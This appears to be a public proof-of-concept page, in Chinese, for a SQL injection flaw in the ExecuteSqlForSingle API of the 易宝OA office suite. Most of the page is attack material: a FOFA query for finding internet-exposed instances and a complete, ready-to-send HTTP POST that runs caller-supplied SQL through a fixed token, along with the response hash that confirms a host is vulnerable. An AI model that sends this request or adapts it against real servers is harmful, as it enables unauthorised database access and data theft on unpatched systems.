易宝OA ExecuteSqlForSingle SQL注入漏洞

2023-08-22 易宝OA PoC Public

Description

易宝OA是一款功能非常全面的移动办公软件。该软件存在SQL注入漏洞，攻击者可以获取数据库权限以获取更多敏感信息。

PoC

## 易宝OA ExecuteSqlForSingle SQL注入漏洞



## fofa

```

"顶讯科技"

```



## poc

```

POST /api/system/ExecuteSqlForSingle HTTP/1.1

Host: IP:PORT

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36

Content-Length: 103



token=zxh&sql=select substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)&strParameters

```

发送poc 在返回包中存在 `e10adc3949ba59abbe56e057f20f883e` 字符为存在漏洞

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://isecurity.huawei.com/security/wiki/ips/detail?threatId=738300

Related Vulnerabilities